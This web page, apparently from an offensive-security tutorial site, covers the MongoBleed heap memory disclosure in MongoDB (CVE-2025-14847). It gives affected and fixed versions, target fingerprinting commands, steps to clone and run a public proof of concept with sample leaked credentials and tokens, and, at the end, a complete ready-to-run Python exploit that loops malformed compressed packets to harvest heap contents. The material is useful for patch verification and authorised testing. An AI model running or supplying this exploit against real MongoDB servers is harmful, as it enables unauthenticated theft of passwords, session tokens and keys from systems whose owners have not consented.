Skip to content
HackIndex logo

HackIndex

MongoDB CVE-2025-14847 — MongoBleed

2 min read Mar 28, 2026

CVE-2025-14847 (MongoBleed) is an unauthenticated heap memory disclosure vulnerability. Sending zlib-compressed OP_MSG packets with a deliberately mismatched uncompressed length causes the server to allocate a large buffer, decompress a small payload into it, and return the full buffer — including uninitialized memory from the heap — in the response. The leaked memory may contain credentials, session tokens, encryption keys, or other sensitive data from previous server-side operations.

No authentication is required. The vulnerability is exploitable against any MongoDB instance where the zlib compressor is enabled, which is the default in modern versions.

Affected Versions

Branch

Affected

Fixed in

8.2.x

8.2.0 – 8.2.2

8.2.3

8.0.x

8.0.0 – 8.0.16

8.0.17

7.0.x

7.0.0 – 7.0.27

7.0.28

6.0.x

6.0.0 – 6.0.26

6.0.27

5.0.x

5.0.0 – 5.0.31

5.0.32

Check Target Version Before Running

Confirm the version is in the affected range before attempting exploitation:

┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017 --quiet --eval 'db.version()' 2>/dev/null
6.0.5
┌──(kali㉿kali)-[~]
└─$ nmap -sV -p 27017 --script mongodb-info $TARGET_IP | grep version
|     version = 6.0.5

Version 6.0.5 falls in the affected range 6.0.0 – 6.0.26. Proceed with the PoC.

Run the PoC

Clone and run the public PoC by Joe Desimone. It loops continuously over different buffer offsets and prints unique leaked strings until stopped:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/joe-desimone/mongobleed && cd mongobleed
┌──(kali㉿kali)-[~]
└─$ python3 mongobleed.py $TARGET_IP 27017
[*] MongoBleed -> 10.10.10.50:27017
[*] Streaming unique leaks only (Ctrl+C to stop)

[+] New leak (~offset 500): appuser
[+] New leak (~offset 512): SuperSecret123!
[+] New leak (~offset 1024): eyJhbGciOiJIUzI1NiJ9...

Let the PoC run for at least 30–60 seconds to cycle through multiple buffer offsets. Leaked strings often include usernames, plaintext passwords from recent authentication attempts, JWT tokens, and connection strings from application connections to the database.

How It Works

The exploit abuses the OP_COMPRESSED wrapper (opcode 2012) around a normal OP_MSG (opcode 2013). It builds a minimal inner OP_MSG — around 40 bytes containing a ping command — compresses it with zlib, then wraps it in an OP_COMPRESSED packet where the declared uncompressed_size field is set to a large value like 8192 bytes rather than the actual decompressed size. The server allocates a buffer matching the declared size, decompresses the tiny payload into it, and due to the bug returns the entire buffer including uninitialized heap contents. The loop increments uncompressed_size across a range of values to shift memory offsets and maximize coverage of heap regions.

Manual Exploit Script

Standalone version without cloning — edit HOST and PORT before running:

#!/usr/bin/env python3
import socket, struct, zlib, re, time

HOST = "10.10.10.50"  # change me
PORT = 27017
MIN_DOC_LEN = 20
MAX_DOC_LEN = 32768
BUFFER_OFFSET = 500
SLEEP = 0.001

print(f"[*] MongoBleed -> {HOST}:{PORT}")
print("[*] Streaming unique leaks only (Ctrl+C to stop)\n")

last_leak = None
doc_len = MIN_DOC_LEN

while True:
    if doc_len > MAX_DOC_LEN:
        doc_len = MIN_DOC_LEN

    content = b'\x10a\x00\x01\x00\x00\x00'
    bson = struct.pack('<i', doc_len) + content
    op_msg = struct.pack('<I', 0) + b'\x00' + bson
    compressed = zlib.compress(op_msg)

    payload = struct.pack('<i', 2013)
    payload += struct.pack('<i', doc_len + BUFFER_OFFSET)
    payload += b'\x02'
    payload += compressed

    header = struct.pack('<iiii', 16 + len(payload), 1, 0, 2012)
    packet = header + payload

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(2)
        sock.connect((HOST, PORT))
        sock.sendall(packet)
        response = b''
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            response += chunk
            if len(response) >= 4:
                msg_len = struct.unpack('<i', response[:4])[0]
                if len(response) >= msg_len:
                    break
        sock.close()
    except:
        response = b''

    if len(response) < 25:
        doc_len += 1
        time.sleep(SLEEP)
        continue

    try:
        msg_len = struct.unpack('<i', response[:4])[0]
        opcode = struct.unpack('<i', response[12:16])[0]
        raw = zlib.decompress(response[25:msg_len]) if opcode == 2012 else response[16:msg_len]
    except:
        doc_len += 1
        time.sleep(SLEEP)
        continue

    for match in re.finditer(rb"field name '([^']*)'", raw):
        leak = match.group(1)
        if not leak or leak in [b'a', b'$db', b'ping', b'?']:
            continue
        text = leak.decode('utf-8', errors='replace')
        if text != last_leak:
            print(f"[+] New leak (~offset {doc_len}): {text}")
            last_leak = text

    doc_len += 1
    time.sleep(SLEEP)

References